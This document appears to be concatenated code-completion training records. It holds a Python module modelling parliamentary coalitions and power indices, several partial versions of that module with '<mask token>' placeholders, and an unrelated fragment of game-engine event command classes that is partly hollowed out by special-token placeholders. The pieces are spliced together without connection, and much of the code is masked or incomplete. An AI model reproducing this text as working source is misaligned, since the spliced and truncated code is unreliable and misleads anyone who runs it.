return [p.votes for p in self._parties]
def names_list(self):
return [p.name for p in self._parties]
def vote_shares_list(self):
v = self.votes
return [vi / v for vi in self.votes_list()]
def seat_shares_list(self):
s = self.seats
return [si / s for si in self.seats_list()]
@property
def seats(self):
return sum(self.seats_list())
@property
def votes(self):
return sum(self.votes_list())
def top(self, n=1):
return Coalition(self, self._parties[:n])
def as_coalition(self):
return Coalition(self, self._parties)
def __contains__(self, item):
return item in self._parties
def __iter__(self):
return iter(self._parties)
def iter_coalitions(self):
for n in range(1, len(self)):
for coalition in itertools.combinations(self._parties, n):
yield Coalition(self, coalition)
def __len__(self):
return len(self._parties)
def __hash__(self):
return hash(self._parties)
def same_as(self, hor):
return self.parties == hor.parties
def __eq__(self, other):
return self.seats == other.seats
def __gt__(self, other):
return self.seats > other.seats
def __ge__(self, other):
return self.seats >= other.seats
def __le__(self, other):
return self.seats <= other.seats
def __lt__(self, other):
return self.seats < other.seats
haar = stats.haar
dev = stats.dev
ens = stats.ens
env = stats.env
rrp = stats.rrp
bantsaf_influence = stats.bantsaf_influence
shepli_shubic = stats.shepli_shubic
jonson_general = stats.jonson_general
jonson_influence = stats.jonson_influence
digen_pakel_general = stats.digen_pakel_general
digen_pakel_influence = stats.digen_pakel_influence
holer_pakel = stats.holer_pakel
describe = stats.describe
def map_stat(self, stat):
if stat in ('seats', 'votes'):
return {party.name: getattr(party, stat)
for party in self._parties}
elif stat in (
stats.bantsaf_influence,
stats.shepli_shubic,
stats.jonson_general,
stats.jonson_influence,
stats.digen_pakel_general,
stats.digen_pakel_influence,
stats.holer_pakel,
):
return {party.name: stat(self, party)
for party in self._parties}
elif stat not in (
'bantsaf_influence',
'shepli_shubic',
'jonson_general',
'jonson_influence',
'digen_pakel_general',
'digen_pakel_influence',
'holer_pakel',
):
raise ValueError('Stat {} cannot be computed'.format(stat))
return {party.name: getattr(self, stat)(party)
for party in self._parties}
class Coalition(HoR):
def __init__(self, hor, parties, name='Coalition', *, _opposition=None):
super().__init__(parties, name=name)
self._hor = hor
self._opposition = _opposition
@property
def opposition(self):
if self._opposition is None:
others = [p for p in self._hor if p not in self]
self._opposition = Coalition(self._hor, others, _opposition=self)
return self._opposition
@property
def hor(self):
return self._hor
def __add__(self, other):
if isinstance(other, Party):
if other in self:
raise ValueError('{} is already present in HoR'.format(other))
new = self._parties + (other, )
elif isinstance(other, Coalition) and other.hor.same_as(self.hor):
intercept = set(other) & set(self._parties)
if intercept:
raise ValueError('{} are already present in HoR'.format(intercept))
new = self._parties + tuple(other)
else:
raise TypeError('Wrong type for {}'.format(other))
return self.__class__(self.hor, new)
def __sub__(self, other):
if isinstance(other, Party):
if other not in self:
raise ValueError('{} is not present in HoR'.format(other))
new = set(self._parties) - {other}
elif isinstance(other, Coalition) and other.hor.same_as(self.hor):
intercept = set(other) & set(self._parties)
if not intercept:
raise ValueError('{} are not present in HoR'.format(intercept))
new = set(self._parties) - set(other.parties)
else:
raise TypeError('Wrong type for {}'.format(other))
return self.__class__(self.hor, new)
def has_key_party(self, party):
if party not in self:
return False
else:
opposition = self.opposition
return (
(self > opposition)
and
((self - party) <= (opposition + party))
)
def key_parties(self):
return list(filter(self.has_key_party, self.parties))
def is_minimum_winning(self):
return all(map(self.has_key_party, self.parties))
|
flexible
|
{
"blob_id": "4c927f14065d0557dbe7b371002e133c351d3478",
"index": 6933,
"step-1": "<mask token>\n\n\nclass HoR(object):\n <mask token>\n\n def __init__(self, parties, name='HoR'):\n self.name = name\n self._parties = tuple(sorted(parties, key=lambda p: (p.seats, p.\n votes), reverse=True))\n self._party_mapping = {p.name: p for p in self._parties}\n\n def __getitem__(self, item):\n return self._party_mapping[item]\n\n @property\n def parties(self):\n return self._parties\n\n def seats_list(self):\n return [p.seats for p in self._parties]\n\n def votes_list(self):\n return [p.votes for p in self._parties]\n\n def names_list(self):\n return [p.name for p in self._parties]\n\n def vote_shares_list(self):\n v = self.votes\n return [(vi / v) for vi in self.votes_list()]\n\n def seat_shares_list(self):\n s = self.seats\n return [(si / s) for si in self.seats_list()]\n\n @property\n def seats(self):\n return sum(self.seats_list())\n <mask token>\n\n def top(self, n=1):\n return Coalition(self, self._parties[:n])\n\n def as_coalition(self):\n return Coalition(self, self._parties)\n\n def __contains__(self, item):\n return item in self._parties\n\n def __iter__(self):\n return iter(self._parties)\n\n def iter_coalitions(self):\n for n in range(1, len(self)):\n for coalition in itertools.combinations(self._parties, n):\n yield Coalition(self, coalition)\n\n def __len__(self):\n return len(self._parties)\n <mask token>\n\n def same_as(self, hor):\n return self.parties == hor.parties\n\n def __eq__(self, other):\n return self.seats == other.seats\n\n def __gt__(self, other):\n return self.seats > other.seats\n\n def __ge__(self, other):\n return self.seats >= other.seats\n\n def __le__(self, other):\n return self.seats <= other.seats\n\n def __lt__(self, other):\n return self.seats < other.seats\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n\nclass Coalition(HoR):\n\n def __init__(self, hor, parties, name='Coalition', *, _opposition=None):\n super().__init__(parties, name=name)\n self._hor = hor\n self._opposition = _opposition\n\n @property\n def opposition(self):\n if self._opposition is None:\n others = [p for p in self._hor if p not in self]\n self._opposition = Coalition(self._hor, others, _opposition=self)\n return self._opposition\n\n @property\n def hor(self):\n return self._hor\n\n def __add__(self, other):\n if isinstance(other, Party):\n if other in self:\n raise ValueError('{} is already present in HoR'.format(other))\n new = self._parties + (other,)\n elif isinstance(other, Coalition) and other.hor.same_as(self.hor):\n intercept = set(other) & set(self._parties)\n if intercept:\n raise ValueError('{} are already present in HoR'.format(\n intercept))\n new = self._parties + tuple(other)\n else:\n raise TypeError('Wrong type for {}'.format(other))\n return self.__class__(self.hor, new)\n\n def __sub__(self, other):\n if isinstance(other, Party):\n if other not in self:\n raise ValueError('{} is not present in HoR'.format(other))\n new = set(self._parties) - {other}\n elif isinstance(other, Coalition) and other.hor.same_as(self.hor):\n intercept = set(other) & set(self._parties)\n if not intercept:\n raise ValueError('{} are not present in HoR'.format(intercept))\n new = set(self._parties) - set(other.parties)\n else:\n raise TypeError('Wrong type for {}'.format(other))\n return self.__class__(self.hor, new)\n\n def has_key_party(self, party):\n if party not in self:\n return False\n else:\n opposition = self.opposition\n return self > opposition and self - party <= opposition + party\n\n def key_parties(self):\n return list(filter(self.has_key_party, self.parties))\n\n def is_minimum_winning(self):\n return all(map(self.has_key_party, self.parties))\n",
"step-2": "<mask token>\n\n\nclass HoR(object):\n <mask token>\n\n def __init__(self, parties, name='HoR'):\n self.name = name\n self._parties = tuple(sorted(parties, key=lambda p: (p.seats, p.\n votes), reverse=True))\n self._party_mapping = {p.name: p for p in self._parties}\n\n def __getitem__(self, item):\n return self._party_mapping[item]\n\n @property\n def parties(self):\n return self._parties\n\n def seats_list(self):\n return [p.seats for p in self._parties]\n\n def votes_list(self):\n return [p.votes for p in self._parties]\n\n def names_list(self):\n return [p.name for p in self._parties]\n\n def vote_shares_list(self):\n v = self.votes\n return [(vi / v) for vi in self.votes_list()]\n\n def seat_shares_list(self):\n s = self.seats\n return [(si / s) for si in self.seats_list()]\n\n @property\n def seats(self):\n return sum(self.seats_list())\n <mask token>\n\n def top(self, n=1):\n return Coalition(self, self._parties[:n])\n\n def as_coalition(self):\n return Coalition(self, self._parties)\n\n def __contains__(self, item):\n return item in self._parties\n\n def __iter__(self):\n return iter(self._parties)\n\n def iter_coalitions(self):\n for n in range(1, len(self)):\n for coalition in itertools.combinations(self._parties, n):\n yield Coalition(self, coalition)\n\n def __len__(self):\n return len(self._parties)\n\n def __hash__(self):\n return hash(self._parties)\n\n def same_as(self, hor):\n return self.parties == hor.parties\n\n def __eq__(self, other):\n return self.seats == other.seats\n\n def __gt__(self, other):\n return self.seats > other.seats\n\n def __ge__(self, other):\n return self.seats >= other.seats\n\n def __le__(self, other):\n return self.seats <= other.seats\n\n def __lt__(self, other):\n return self.seats < other.seats\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n\nclass Coalition(HoR):\n\n def __init__(self, hor, parties, name='Coalition', *, _opposition=None):\n super().__init__(parties, name=name)\n self._hor = hor\n self._opposition = _opposition\n\n @property\n def opposition(self):\n if self._opposition is None:\n others = [p for p in self._hor if p not in self]\n self._opposition = Coalition(self._hor, others, _opposition=self)\n return self._opposition\n\n @property\n def hor(self):\n return self._hor\n\n def __add__(self, other):\n if isinstance(other, Party):\n if other in self:\n raise ValueError('{} is already present in HoR'.format(other))\n new = self._parties + (other,)\n elif isinstance(other, Coalition) and other.hor.same_as(self.hor):\n intercept = set(other) & set(self._parties)\n if intercept:\n raise ValueError('{} are already present in HoR'.format(\n intercept))\n new = self._parties + tuple(other)\n else:\n raise TypeError('Wrong type for {}'.format(other))\n return self.__class__(self.hor, new)\n\n def __sub__(self, other):\n if isinstance(other, Party):\n if other not in self:\n raise ValueError('{} is not present in HoR'.format(other))\n new = set(self._parties) - {other}\n elif isinstance(other, Coalition) and other.hor.same_as(self.hor):\n intercept = set(other) & set(self._parties)\n if not intercept:\n raise ValueError('{} are not present in HoR'.format(intercept))\n new = set(self._parties) - set(other.parties)\n else:\n raise TypeError('Wrong type for {}'.format(other))\n return self.__class__(self.hor, new)\n\n def has_key_party(self, party):\n if party not in self:\n return False\n else:\n opposition = self.opposition\n return self > opposition and self - party <= opposition + party\n\n def key_parties(self):\n return list(filter(self.has_key_party, self.parties))\n\n def is_minimum_winning(self):\n return all(map(self.has_key_party, self.parties))\n",
"step-3": "<mask token>\n\n\nclass HoR(object):\n <mask token>\n\n def __init__(self, parties, name='HoR'):\n self.name = name\n self._parties = tuple(sorted(parties, key=lambda p: (p.seats, p.\n votes), reverse=True))\n self._party_mapping = {p.name: p for p in self._parties}\n\n def __getitem__(self, item):\n return self._party_mapping[item]\n\n @property\n def parties(self):\n return self._parties\n\n def seats_list(self):\n return [p.seats for p in self._parties]\n\n def votes_list(self):\n return [p.votes for p in self._parties]\n\n def names_list(self):\n return [p.name for p in self._parties]\n\n def vote_shares_list(self):\n v = self.votes\n return [(vi / v) for vi in self.votes_list()]\n\n def seat_shares_list(self):\n s = self.seats\n return [(si / s) for si in self.seats_list()]\n\n @property\n def seats(self):\n return sum(self.seats_list())\n\n @property\n def votes(self):\n return sum(self.votes_list())\n\n def top(self, n=1):\n return Coalition(self, self._parties[:n])\n\n def as_coalition(self):\n return Coalition(self, self._parties)\n\n def __contains__(self, item):\n return item in self._parties\n\n def __iter__(self):\n return iter(self._parties)\n\n def iter_coalitions(self):\n for n in range(1, len(self)):\n for coalition in itertools.combinations(self._parties, n):\n yield Coalition(self, coalition)\n\n def __len__(self):\n return len(self._parties)\n\n def __hash__(self):\n return hash(self._parties)\n\n def same_as(self, hor):\n return self.parties == hor.parties\n\n def __eq__(self, other):\n return self.seats == other.seats\n\n def __gt__(self, other):\n return self.seats > other.seats\n\n def __ge__(self, other):\n return self.seats >= other.seats\n\n def __le__(self, other):\n return self.seats <= other.seats\n\n def __lt__(self, other):\n return self.seats < other.seats\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def map_stat(self, stat):\n if stat in ('seats', 'votes'):\n return {party.name: getattr(party, stat) for party in self._parties\n }\n elif stat in (stats.bantsaf_influence, stats.shepli_shubic, stats.\n jonson_general, stats.jonson_influence, stats.\n digen_pakel_general, stats.digen_pakel_influence, stats.holer_pakel\n ):\n return {party.name: stat(self, party) for party in self._parties}\n elif stat not in ('bantsaf_influence', 'shepli_shubic',\n 'jonson_general', 'jonson_influence', 'digen_pakel_general',\n 'digen_pakel_influence', 'holer_pakel'):\n raise ValueError('Stat {} cannot be computed'.format(stat))\n return {party.name: getattr(self, stat)(party) for party in self.\n _parties}\n\n\nclass Coalition(HoR):\n\n def __init__(self, hor, parties, name='Coalition', *, _opposition=None):\n super().__init__(parties, name=name)\n self._hor = hor\n self._opposition = _opposition\n\n @property\n def opposition(self):\n if self._opposition is None:\n others = [p for p in self._hor if p not in self]\n self._opposition = Coalition(self._hor, others, _opposition=self)\n return self._opposition\n\n @property\n def hor(self):\n return self._hor\n\n def __add__(self, other):\n if isinstance(other, Party):\n if other in self:\n raise ValueError('{} is already present in HoR'.format(other))\n new = self._parties + (other,)\n elif isinstance(other, Coalition) and other.hor.same_as(self.hor):\n intercept = set(other) & set(self._parties)\n if intercept:\n raise ValueError('{} are already present in HoR'.format(\n intercept))\n new = self._parties + tuple(other)\n else:\n raise TypeError('Wrong type for {}'.format(other))\n return self.__class__(self.hor, new)\n\n def __sub__(self, other):\n if isinstance(other, Party):\n if other not in self:\n raise ValueError('{} is not present in HoR'.format(other))\n new = set(self._parties) - {other}\n elif isinstance(other, Coalition) and other.hor.same_as(self.hor):\n intercept = set(other) & set(self._parties)\n if not intercept:\n raise ValueError('{} are not present in HoR'.format(intercept))\n new = set(self._parties) - set(other.parties)\n else:\n raise TypeError('Wrong type for {}'.format(other))\n return self.__class__(self.hor, new)\n\n def has_key_party(self, party):\n if party not in self:\n return False\n else:\n opposition = self.opposition\n return self > opposition and self - party <= opposition + party\n\n def key_parties(self):\n return list(filter(self.has_key_party, self.parties))\n\n def is_minimum_winning(self):\n return all(map(self.has_key_party, self.parties))\n",
"step-4": "<mask token>\n\n\nclass HoR(object):\n \"\"\"House of Representatives\"\"\"\n\n def __init__(self, parties, name='HoR'):\n self.name = name\n self._parties = tuple(sorted(parties, key=lambda p: (p.seats, p.\n votes), reverse=True))\n self._party_mapping = {p.name: p for p in self._parties}\n\n def __getitem__(self, item):\n return self._party_mapping[item]\n\n @property\n def parties(self):\n return self._parties\n\n def seats_list(self):\n return [p.seats for p in self._parties]\n\n def votes_list(self):\n return [p.votes for p in self._parties]\n\n def names_list(self):\n return [p.name for p in self._parties]\n\n def vote_shares_list(self):\n v = self.votes\n return [(vi / v) for vi in self.votes_list()]\n\n def seat_shares_list(self):\n s = self.seats\n return [(si / s) for si in self.seats_list()]\n\n @property\n def seats(self):\n return sum(self.seats_list())\n\n @property\n def votes(self):\n return sum(self.votes_list())\n\n def top(self, n=1):\n return Coalition(self, self._parties[:n])\n\n def as_coalition(self):\n return Coalition(self, self._parties)\n\n def __contains__(self, item):\n return item in self._parties\n\n def __iter__(self):\n return iter(self._parties)\n\n def iter_coalitions(self):\n for n in range(1, len(self)):\n for coalition in itertools.combinations(self._parties, n):\n yield Coalition(self, coalition)\n\n def __len__(self):\n return len(self._parties)\n\n def __hash__(self):\n return hash(self._parties)\n\n def same_as(self, hor):\n return self.parties == hor.parties\n\n def __eq__(self, other):\n return self.seats == other.seats\n\n def __gt__(self, other):\n return self.seats > other.seats\n\n def __ge__(self, other):\n return self.seats >= other.seats\n\n def __le__(self, other):\n return self.seats <= other.seats\n\n def __lt__(self, other):\n return self.seats < other.seats\n haar = stats.haar\n dev = stats.dev\n ens = stats.ens\n env = stats.env\n rrp = stats.rrp\n bantsaf_influence = stats.bantsaf_influence\n shepli_shubic = stats.shepli_shubic\n jonson_general = stats.jonson_general\n jonson_influence = stats.jonson_influence\n digen_pakel_general = stats.digen_pakel_general\n digen_pakel_influence = stats.digen_pakel_influence\n holer_pakel = stats.holer_pakel\n describe = stats.describe\n\n def map_stat(self, stat):\n if stat in ('seats', 'votes'):\n return {party.name: getattr(party, stat) for party in self._parties\n }\n elif stat in (stats.bantsaf_influence, stats.shepli_shubic, stats.\n jonson_general, stats.jonson_influence, stats.\n digen_pakel_general, stats.digen_pakel_influence, stats.holer_pakel\n ):\n return {party.name: stat(self, party) for party in self._parties}\n elif stat not in ('bantsaf_influence', 'shepli_shubic',\n 'jonson_general', 'jonson_influence', 'digen_pakel_general',\n 'digen_pakel_influence', 'holer_pakel'):\n raise ValueError('Stat {} cannot be computed'.format(stat))\n return {party.name: getattr(self, stat)(party) for party in self.\n _parties}\n\n\nclass Coalition(HoR):\n\n def __init__(self, hor, parties, name='Coalition', *, _opposition=None):\n super().__init__(parties, name=name)\n self._hor = hor\n self._opposition = _opposition\n\n @property\n def opposition(self):\n if self._opposition is None:\n others = [p for p in self._hor if p not in self]\n self._opposition = Coalition(self._hor, others, _opposition=self)\n return self._opposition\n\n @property\n def hor(self):\n return self._hor\n\n def __add__(self, other):\n if isinstance(other, Party):\n if other in self:\n raise ValueError('{} is already present in HoR'.format(other))\n new = self._parties + (other,)\n elif isinstance(other, Coalition) and other.hor.same_as(self.hor):\n intercept = set(other) & set(self._parties)\n if intercept:\n raise ValueError('{} are already present in HoR'.format(\n intercept))\n new = self._parties + tuple(other)\n else:\n raise TypeError('Wrong type for {}'.format(other))\n return self.__class__(self.hor, new)\n\n def __sub__(self, other):\n if isinstance(other, Party):\n if other not in self:\n raise ValueError('{} is not present in HoR'.format(other))\n new = set(self._parties) - {other}\n elif isinstance(other, Coalition) and other.hor.same_as(self.hor):\n intercept = set(other) & set(self._parties)\n if not intercept:\n raise ValueError('{} are not present in HoR'.format(intercept))\n new = set(self._parties) - set(other.parties)\n else:\n raise TypeError('Wrong type for {}'.format(other))\n return self.__class__(self.hor, new)\n\n def has_key_party(self, party):\n if party not in self:\n return False\n else:\n opposition = self.opposition\n return self > opposition and self - party <= opposition + party\n\n def key_parties(self):\n return list(filter(self.has_key_party, self.parties))\n\n def is_minimum_winning(self):\n return all(map(self.has_key_party, self.parties))\n",
"step-5": "import collections\nimport itertools\nfrom . import stats\n\n__all__ = [\n 'Party',\n 'HoR',\n 'Coalition'\n]\n\nParty = collections.namedtuple('Party', 'name,votes,seats')\n\n\nclass HoR(object):\n \"\"\"House of Representatives\"\"\"\n\n def __init__(self, parties, name='HoR'):\n self.name = name\n self._parties = tuple(sorted(parties, key=lambda p: (p.seats, p.votes), reverse=True))\n self._party_mapping = {p.name: p for p in self._parties}\n\n def __getitem__(self, item):\n return self._party_mapping[item]\n\n @property\n def parties(self):\n return self._parties\n\n def seats_list(self):\n return [p.seats for p in self._parties]\n\n def votes_list(self):\n return [p.votes for p in self._parties]\n\n def names_list(self):\n return [p.name for p in self._parties]\n\n def vote_shares_list(self):\n v = self.votes\n return [vi / v for vi in self.votes_list()]\n\n def seat_shares_list(self):\n s = self.seats\n return [si / s for si in self.seats_list()]\n\n @property\n def seats(self):\n return sum(self.seats_list())\n\n @property\n def votes(self):\n return sum(self.votes_list())\n\n def top(self, n=1):\n return Coalition(self, self._parties[:n])\n\n def as_coalition(self):\n return Coalition(self, self._parties)\n\n def __contains__(self, item):\n return item in self._parties\n\n def __iter__(self):\n return iter(self._parties)\n\n def iter_coalitions(self):\n for n in range(1, len(self)):\n for coalition in itertools.combinations(self._parties, n):\n yield Coalition(self, coalition)\n\n def __len__(self):\n return len(self._parties)\n\n def __hash__(self):\n return hash(self._parties)\n\n def same_as(self, hor):\n return self.parties == hor.parties\n\n def __eq__(self, other):\n return self.seats == other.seats\n\n def __gt__(self, other):\n return self.seats > other.seats\n\n def __ge__(self, other):\n return self.seats >= other.seats\n\n def __le__(self, other):\n return self.seats <= other.seats\n\n def __lt__(self, other):\n return self.seats < other.seats\n\n haar = stats.haar\n dev = stats.dev\n ens = stats.ens\n env = stats.env\n rrp = stats.rrp\n bantsaf_influence = stats.bantsaf_influence\n shepli_shubic = stats.shepli_shubic\n jonson_general = stats.jonson_general\n jonson_influence = stats.jonson_influence\n digen_pakel_general = stats.digen_pakel_general\n digen_pakel_influence = stats.digen_pakel_influence\n holer_pakel = stats.holer_pakel\n describe = stats.describe\n\n def map_stat(self, stat):\n if stat in ('seats', 'votes'):\n return {party.name: getattr(party, stat)\n for party in self._parties}\n elif stat in (\n stats.bantsaf_influence,\n stats.shepli_shubic,\n stats.jonson_general,\n stats.jonson_influence,\n stats.digen_pakel_general,\n stats.digen_pakel_influence,\n stats.holer_pakel,\n ):\n return {party.name: stat(self, party)\n for party in self._parties}\n elif stat not in (\n 'bantsaf_influence',\n 'shepli_shubic',\n 'jonson_general',\n 'jonson_influence',\n 'digen_pakel_general',\n 'digen_pakel_influence',\n 'holer_pakel',\n ):\n raise ValueError('Stat {} cannot be computed'.format(stat))\n return {party.name: getattr(self, stat)(party)\n for party in self._parties}\n\n\nclass Coalition(HoR):\n def __init__(self, hor, parties, name='Coalition', *, _opposition=None):\n super().__init__(parties, name=name)\n self._hor = hor\n self._opposition = _opposition\n\n @property\n def opposition(self):\n if self._opposition is None:\n others = [p for p in self._hor if p not in self]\n self._opposition = Coalition(self._hor, others, _opposition=self)\n return self._opposition\n\n @property\n def hor(self):\n return self._hor\n\n def __add__(self, other):\n if isinstance(other, Party):\n if other in self:\n raise ValueError('{} is already present in HoR'.format(other))\n new = self._parties + (other, )\n elif isinstance(other, Coalition) and other.hor.same_as(self.hor):\n intercept = set(other) & set(self._parties)\n if intercept:\n raise ValueError('{} are already present in HoR'.format(intercept))\n new = self._parties + tuple(other)\n else:\n raise TypeError('Wrong type for {}'.format(other))\n return self.__class__(self.hor, new)\n\n def __sub__(self, other):\n if isinstance(other, Party):\n if other not in self:\n raise ValueError('{} is not present in HoR'.format(other))\n new = set(self._parties) - {other}\n elif isinstance(other, Coalition) and other.hor.same_as(self.hor):\n intercept = set(other) & set(self._parties)\n if not intercept:\n raise ValueError('{} are not present in HoR'.format(intercept))\n new = set(self._parties) - set(other.parties)\n else:\n raise TypeError('Wrong type for {}'.format(other))\n return self.__class__(self.hor, new)\n\n def has_key_party(self, party):\n if party not in self:\n return False\n else:\n opposition = self.opposition\n return (\n (self > opposition)\n and\n ((self - party) <= (opposition + party))\n )\n\n def key_parties(self):\n return list(filter(self.has_key_party, self.parties))\n\n def is_minimum_winning(self):\n return all(map(self.has_key_party, self.parties))\n\n",
"step-ids": [
31,
32,
34,
36,
39
]
}
|
[
31,
32,
34,
36,
39
] |
<|reserved_special_token_0|>
class GiveExp(EventCommand):
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
class SetExp(EventCommand):
nid = 'set_exp'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'PositiveInteger']
class GiveWexp(EventCommand):
nid = 'give_wexp'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'WeaponType', 'Integer']
flags = ['no_banner']
class GiveSkill(EventCommand):
nid = 'give_skill'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'Skill']
flags = ['no_banner']
class RemoveSkill(EventCommand):
nid = 'remove_skill'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'Skill']
flags = ['no_banner']
class ChangeAI(EventCommand):
nid = 'change_ai'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'AI']
class ChangeTeam(EventCommand):
nid = 'change_team'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'Team']
class ChangePortrait(EventCommand):
nid = 'change_portrait'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'PortraitNid']
class ChangeStats(EventCommand):
nid = 'change_stats'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'StatList']
flags = ['immediate']
class SetStats(EventCommand):
nid = 'set_stats'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'StatList']
flags = ['immediate']
class AutolevelTo(EventCommand):
nid = 'autolevel_to'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'String']
flags = ['hidden']
class SetModeAutolevels(EventCommand):
nid = 'set_mode_autolevels'
tag = Tags.GAME_VARS
keywords = ['String']
flags = ['hidden']
class Promote(EventCommand):
nid = 'promote'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit']
optional_keywords = ['Klass']
class ChangeClass(EventCommand):
nid = 'change_class'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit']
optional_keywords = ['Klass']
class AddTag(EventCommand):
nid = 'add_tag'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'Tag']
class RemoveTag(EventCommand):
nid = 'remove_tag'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'Tag']
class AddTalk(EventCommand):
nid = 'add_talk'
tag = Tags.LEVEL_VARS
keywords = ['Unit', 'Unit']
class RemoveTalk(EventCommand):
nid = 'remove_talk'
tag = Tags.LEVEL_VARS
keywords = ['Unit', 'Unit']
class AddLore(EventCommand):
nid = 'add_lore'
nickname = 'unlock_lore'
tag = Tags.GAME_VARS
keywords = ['Lore']
class RemoveLore(EventCommand):
nid = 'remove_lore'
tag = Tags.GAME_VARS
keywords = ['Lore']
class AddBaseConvo(EventCommand):
nid = 'add_base_convo'
tag = Tags.LEVEL_VARS
keywords = ['String']
class IgnoreBaseConvo(EventCommand):
nid = 'ignore_base_convo'
tag = Tags.LEVEL_VARS
keywords = ['String']
class RemoveBaseConvo(EventCommand):
nid = 'remove_base_convo'
tag = Tags.LEVEL_VARS
keywords = ['String']
class IncrementSupportPoints(EventCommand):
nid = 'increment_support_points'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'GlobalUnit', 'PositiveInteger']
class AddMarketItem(EventCommand):
nid = 'add_market_item'
tag = Tags.GAME_VARS
keywords = ['Item']
class RemoveMarketItem(EventCommand):
nid = 'remove_market_item'
tag = Tags.GAME_VARS
keywords = ['Item']
class AddRegion(EventCommand):
nid = 'add_region'
tag = Tags.REGION
keywords = ['Nid', 'Position', 'Size', 'RegionType']
optional_keywords = ['String']
flags = ['only_once']
class RegionCondition(EventCommand):
nid = 'region_condition'
tag = Tags.REGION
keywords = ['Nid', 'Condition']
class RemoveRegion(EventCommand):
nid = 'remove_region'
tag = Tags.REGION
keywords = ['Nid']
class ShowLayer(EventCommand):
nid = 'show_layer'
tag = Tags.TILEMAP
keywords = ['Layer']
optional_keywords = ['LayerTransition']
class HideLayer(EventCommand):
nid = 'hide_layer'
tag = Tags.TILEMAP
keywords = ['Layer']
optional_keywords = ['LayerTransition']
class AddWeather(EventCommand):
nid = 'add_weather'
tag = Tags.TILEMAP
keywords = ['Weather']
class RemoveWeather(EventCommand):
nid = 'remove_weather'
tag = Tags.TILEMAP
keywords = ['Weather']
class ChangeObjectiveSimple(EventCommand):
nid = 'change_objective_simple'
tag = Tags.LEVEL_VARS
keywords = ['String']
class ChangeObjectiveWin(EventCommand):
nid = 'change_objective_win'
tag = Tags.LEVEL_VARS
keywords = ['String']
class ChangeObjectiveLoss(EventCommand):
nid = 'change_objective_loss'
tag = Tags.LEVEL_VARS
keywords = ['String']
class SetPosition(EventCommand):
nid = 'set_position'
tag = Tags.MISCELLANEOUS
keywords = ['String']
class MapAnim(EventCommand):
nid = 'map_anim'
tag = Tags.TILEMAP
keywords = ['MapAnim', 'Position']
flags = ['no_block']
class ArrangeFormation(EventCommand):
nid = 'arrange_formation'
tag = Tags.MISCELLANEOUS
class Prep(EventCommand):
nid = 'prep'
tag = Tags.MISCELLANEOUS
optional_keywords = ['Bool', 'Music']
class Base(EventCommand):
nid = 'base'
tag = Tags.MISCELLANEOUS
keywords = ['Panorama']
optional_keywords = ['Music']
class Shop(EventCommand):
nid = 'shop'
tag = Tags.MISCELLANEOUS
keywords = ['Unit', 'ItemList']
optional_keywords = ['ShopFlavor']
class Choice(EventCommand):
nid = 'choice'
tag = Tags.MISCELLANEOUS
keywords = ['Nid', 'String', 'StringList']
optional_keywords = ['Orientation']
class ChapterTitle(EventCommand):
nid = 'chapter_title'
tag = Tags.MISCELLANEOUS
optional_keywords = ['Music', 'String']
class Alert(EventCommand):
nid = 'alert'
tag = Tags.DIALOGUE_TEXT
keywords = ['String']
class VictoryScreen(EventCommand):
nid = 'victory_screen'
tag = Tags.MISCELLANEOUS
class RecordsScreen(EventCommand):
nid = 'records_screen'
tag = Tags.MISCELLANEOUS
class LocationCard(EventCommand):
nid = 'location_card'
tag = Tags.DIALOGUE_TEXT
keywords = ['String']
class Credits(EventCommand):
nid = 'credits'
tag = Tags.DIALOGUE_TEXT
keywords = ['String', 'String']
flags = ['wait', 'center', 'no_split']
class Ending(EventCommand):
nid = 'ending'
tag = Tags.DIALOGUE_TEXT
keywords = ['Portrait', 'String', 'String']
class PopDialog(EventCommand):
nid = 'pop_dialog'
tag = Tags.DIALOGUE_TEXT
desc = """
Removes the most recent dialog text box from the screen. Generally only used in conjunction with the `ending` command to remove the Ending box during a transition.
Example:
```
ending;Coyote;Coyote, Man of Mystery;Too mysterious for words.
transition;Close
pop_dialog
transition;Open
```
"""
class Unlock(EventCommand):
nid = 'unlock'
tag = Tags.REGION
keywords = ['Unit']
class FindUnlock(EventCommand):
nid = 'find_unlock'
tag = Tags.HIDDEN
keywords = ['Unit']
class SpendUnlock(EventCommand):
nid = 'spend_unlock'
tag = Tags.HIDDEN
keywords = ['Unit']
class TriggerScript(EventCommand):
nid = 'trigger_script'
tag = Tags.MISCELLANEOUS
keywords = ['Event']
optional_keywords = ['GlobalUnit', 'GlobalUnit']
class ChangeRoaming(EventCommand):
nid = 'change_roaming'
tag = Tags.MISCELLANEOUS
desc = 'Turn free roam mode on or off'
keywords = ['Bool']
class ChangeRoamingUnit(EventCommand):
nid = 'change_roaming_unit'
tag = Tags.MISCELLANEOUS
desc = "Changes the level's current roaming unit."
keywords = ['Unit']
class CleanUpRoaming(EventCommand):
nid = 'clean_up_roaming'
tag = Tags.MISCELLANEOUS
